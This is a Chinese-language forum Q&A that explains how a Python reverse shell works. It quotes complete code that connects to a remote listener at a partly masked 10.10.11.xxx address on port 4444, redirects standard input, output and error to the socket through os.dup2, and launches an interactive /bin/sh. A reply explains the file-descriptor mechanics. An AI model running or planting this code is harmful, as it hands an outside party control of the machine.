所以我在python中找到了以下反向shell代碼
import socket, subprocess, os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.11.xxx",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
此代碼基本上打開了與“10.10.11.xxx”下的某個遠程偵聽器的反向連接。
我不知道子行程呼叫的輸入/輸出如何通過檔案描述符傳輸到套接字。
其他一切都清楚了:
- 套接字已創建
- 連接已建立
- 使用 dup2() 將套接字檔案描述符復制到標準檔案描述符中
但我不明白系統如何知道它需要將資料傳輸到這些套接字。
謝謝!
uj5u.com熱心網友回復:
就是os.dup2()這樣。
os.dup2(s.fileno(), 0)
使檔案描述符0參考套接字。FD 0 是標準輸入,所以當 shell 讀取它的輸入時,它會從套接字讀取。
os.dup2(s.fileno(), 1)
使檔案描述符1參考套接字。FD 1 是標準輸出,所以當 shell 列印一些東西時,它會被發送到套接字。
FD 2 是標準錯誤,因此錯誤訊息也會寫入套接字。
所有這些描述符都將由 shell 產生的子行程繼承,因此從反向 shell 運行的程式將讀取和寫入套接字。
轉載請註明出處,本文鏈接:https://www.uj5u.com/net/515795.html
